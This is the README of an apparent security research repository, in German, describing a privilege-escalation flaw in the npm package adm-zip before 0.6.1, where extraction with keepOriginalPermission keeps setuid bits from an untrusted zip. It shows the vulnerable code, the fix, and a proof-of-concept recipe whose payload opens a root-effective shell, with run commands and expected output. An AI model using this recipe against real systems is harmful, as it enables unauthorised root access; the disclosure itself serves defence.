
CVE-2026-102282: adm-zip LPE durch SUID/SGID-Erhaltung bei der Archivextraktion (behoben in 0.6.1)
Fehlerhafte Rechtezuweisung im npm-Paket adm-zip. Die Extraktion kann setuid-, setgid- und sticky-Bits aus einem nicht vertrauenswürdigen Zip beibehalten, wenn keepOriginalPermission aktiviert ist, wodurch eine root-eigene setuid-ausführbare Datei aus einem vom Angreifer gelieferten Archiv auf der Festplatte platziert werden kann: lokale Rechteausweitung.
| Paket | adm-zip (npm) |
| Ökosystem | Node.js |
| CVE | CVE-2026-102282 |
| Advisory | GHSA-j5f4-cc29-5x44 |
| CWE | CWE-732 Incorrect Permission Assignment for Critical Resource |
| CVSS v3.1 | 7.1 High — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Betroffen | < 0.6.1 (letzte bekannte betroffene Version: <= 0.6.0) |
| Behoben | 0.6.1 (11. September 2026) |
| Veröffentlicht | Maintainer-Advisory 11. September 2026; GitHub Advisory Database 29. September 2026 |
Dieses Repository enthält den Write-up, einen Dependency-Versionsprüfer, einen sicheren Verhaltenstest und einen eigenständigen Proof of Concept, der um eine harmlose Verifier-Binärdatei herum aufgebaut ist, die lediglich ihren Credential-Kontext ausgibt.
Jede Version vor 0.6.1 ist betroffen, einschließlich 0.6.0.
| Bereich | Status |
|---|---|
>= 0 und < 0.6.1 | Betroffen |
<= 0.6.0 | Letzte bekannte betroffene Version |
>= 0.6.1 | Behoben |
Der Fehler ist nur erreichbar, wenn alle folgenden Bedingungen zutreffen:
keepOriginalPermission=true an extractAllTo(), extractAllToAsync() oder extractEntryTo().Die Standardextraktion lässt das Flag deaktiviert und ist nicht betroffen. Die Extraktion als unprivilegierter Benutzer kann die Mode-Bits zwar weiterhin anwenden, aber die resultierende Datei gehört demselben Benutzer, sodass keine Privilegiengrenze überschritten wird.
Unix-Mode-Bits befinden sich in den oberen 16 Bits der externen Dateiattribute eines Zip-Eintrags. adm-zip kopiert diese Bits auf den extrahierten Pfad.
| Ort | Rolle |
|---|---|
headers/entryHeader.js — fileAttr | Liest den Unix-Mode aus den externen Attributen |
adm-zip.js — extractAllTo, extractAllToAsync, extractEntryTo | Verwendet fileAttr, wenn keepOriginalPermission true ist |
util/utils.js — chmodSync im Dateischreib-Helfer | Wendet diesen Mode auf den gerade erstellten Pfad an |
adm-zip.js Verzeichnisextraktion | Wendet denselben Mode auf extrahierte Verzeichnisse an |
In 0.6.0 und früher maskiert fileAttr das verschobene Attribut mit 0xfff
(0o7777). Diese Maske behält die drei speziellen Bits zusammen mit den üblichen rwx-
Bits bei, und nichts im Schreibpfad löscht 0o7000 vor dem chmod:
// headers/entryHeader.js (<= 0.6.0)
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0o4000)0o2000)0o1000)Die Extraktion übergibt den archivgesteuerten Mode direkt an das Dateisystem:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(entryName, content, overwrite, fileAttr);
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
Beachten Sie die Aufrufsignatur von 0.6.x: extractAllTo(targetPath, overwrite, keepOriginalPermission) nimmt ein literales Boolean als drittes Argument.
Das Übergeben eines Optionsobjekts wie { keepOriginalPermission: true } wird
stillschweigend zu false konvertiert, was die Schwachstelle in einem Test maskiert, anstatt
sie zu demonstrieren. Beide PoC-Skripte in diesem Repo übergeben direkt true.
Der Fix ist Commit 6a63c339 (v0.6.1). fileAttr behält jetzt nur noch die neun rwx-Bits:
get fileAttr() {
return (_attr || 0) >> 16 & 0o777;
}
keepOriginalPermission=true liest die Extraktion diesen Mode über fileAttr und übergibt ihn an chmod.0o7777 ist, überleben setuid, setgid und sticky.chmod als root läuft, gehört die neue Datei root und kann setuid tragen. Ein späterer Lauf durch einen weniger privilegierten Benutzer führt den Code des Dateieigentümers als root aus.Wenn das Flag auf seinem Standardwert belassen wird, wendet die Extraktion den Archiv-Mode nicht an, und die speziellen Bits werden nicht geschrieben.
Alles befindet sich unter poc/. Die mitgelieferte Payload ist
verify.c, ein harmloses Programm, das seine reale und
effektive uid/gid ausgibt und in seinem Standardmodus eine Shell mit der effektiven
Identität öffnet. Es persistiert nichts, versteckt nichts und tut nichts über die Demonstration des
Credential-Kontexts hinaus.
| Datei | Zweck |
|---|---|
poc/verify.c | Harmlose setuid-Verifier-Payload |
poc/build-archive.js | Packt eine Datei in ein Zip, dessen Eintrag den Mode 0o4755 trägt |
poc/extract.js | Extrahiert ein Archiv mit keepOriginalPermission=true, wie es eine betroffene App tun würde |
poc/run-demo.sh | End-to-End-Lauf: bauen, als root extrahieren, als aufrufender Benutzer ausführen |
git clone <this repo> && cd CVE-2026-102282
npm install [email protected] # the version under test
sudo apt install gcc # if needed
./poc/run-demo.sh # uses /var/tmp/cve-2026-102282-demo
./poc/run-demo.sh /path/to/out # or a custom output directory
Erwartete Ausgabe gegen 0.6.0:
== 3. extract as root with keepOriginalPermission ==
adm-zip version: 0.6.0
extracted /var/tmp/cve-2026-102282-demo/exploit.zip into /var/tmp/cve-2026-102282-demo/extracted
== 4. result on disk ==
4755 -rwsr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=0 gid=0
[+] SUID active: effective uid 0 differs from real uid 1000
Erwartete Ausgabe gegen 0.6.1:
== 4. result on disk ==
755 -rwxr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=1000 gid=1000
[-] effective and real ids match: no SUID context